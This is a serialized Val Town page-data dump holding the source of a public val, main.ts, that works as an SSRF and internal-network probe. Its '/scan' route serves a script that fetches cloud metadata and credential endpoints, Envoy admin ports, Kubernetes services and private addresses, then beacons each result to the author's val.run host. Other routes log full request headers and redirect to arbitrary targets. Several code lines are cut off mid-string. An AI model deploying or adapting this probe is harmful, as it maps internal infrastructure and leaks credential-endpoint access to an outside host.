[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8},"actionData","errors","root",{"_100":101,"_102":103},"routes/embed.x.$handle.$name.$",{"_9":10,"_11":12,"_13":14,"_15":16,"_17":18,"_19":20,"_21":-5},"handle","keekeetest","name","klav-testing","path","main.ts","project",{"_22":45,"_11":12,"_33":46,"_47":-5,"_48":42,"_49":50,"_51":50,"_52":53,"_54":-5,"_55":56,"_57":25,"_58":32,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":-5,"_66":-5,"_67":-5,"_68":-5,"_69":70,"_71":70,"_72":73,"_74":73,"_75":73,"_76":70,"_77":70,"_78":79,"_80":81,"_82":83,"_84":42},"file",{"_22":23,"_11":14,"_24":25,"_26":-5,"_27":28,"_29":30,"_31":32,"_33":34,"_35":36,"_37":38,"_39":40,"_41":42,"_43":-5,"_13":44},"permalink","https://www.val.town/x/keekeetest/klav-testing/code/main.ts","extension","id","bd670b8e-dc63-487d-b0e5-54ca0f82ff0d","fileId","c3b8d112-ad9a-11f1-b734-1607ee4eb77e","parentId","branchId","6c0de28e-cfb1-4d58-bae1-2e560a902dc3","branchVersion",11,"latest",true,"createdAt",["D",1789104678413],"version",10,"fileType","http","content","import { blob } from \"https://esm.town/v/std/blob\";\n\nconst LOG_KEY = \"ssrf_probe_hits\";\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n return new Response(JSON.stringify(hits, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await blob.setJSON(LOG_KEY, []);\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n type: \"scan-result\",\n target: url.searchParams.get(\"t\"),\n status: url.searchParams.get(\"s\"),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"imag\n }\n\n if (url.pathname === \"/scan\") {\n const targets = [\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const base = \"https://keekeetest--c3b8d112ad9a11f1b7341607ee4eb77e.web.val.run\";\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = base + '/log?t=' + encodeURIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 60\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'reso\n \" .catch(function(e){ clearTimeout(timer); ping(t, 'rejected:' + (e && e.name)); });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const lt = String.fromCharCode(60);\n const gt = String.fromCharCode(62);\n const openTag = lt + \"script\" + gt;\n const closeTag = lt + \"/script\" + gt;\n const html = \"\" + openTag + script + closeTag + \"

scanning

\";\n return new Response(html, { status: 200, headers: { \"conten\n }\n\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n method: req.method,\n path: url.pathname,\n query: Object.fromEntries(url.searchParams),\n headers: Object.fromEntries(req.headers),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".lengt\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Locatio\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } }\n );\n}","deleted",false,"label",[14],"104f68b5-6f55-4829-9eb4-00392bca7aef",["D",1789101564510],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","userId","5cf833c3-55e9-493d-abda-ded425f7f0dd","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","019f42ea-99f8-7162-b165-4dd364d8479a","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_9":10,"_99":53},"org",{"_9":10,"_94":53,"_95":53,"_55":56,"_96":97,"_98":42},"branch",{"_35":30,"_11":85,"_22":28,"_86":45,"_87":-5,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":12,"_93":10},"isOwned","main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","avatar","tier","free","canRestrictVals","profileImageUrl","ctx",{"_78":-5,"_133":134,"_135":136,"_137":138,"_139":42,"_140":42,"_141":42,"_142":32,"_143":-5,"_144":-7,"_145":-7,"_146":62,"_147":42,"_148":42,"_149":-5,"_150":42,"_151":42,"_152":42,"_153":-5},"ENV",{"_104":105,"_106":107,"_108":85,"_109":110,"_111":112,"_113":114,"_115":116,"_117":118,"_119":120,"_121":122,"_123":124,"_125":126,"_127":128,"_129":130,"_131":132},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town","orgs",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]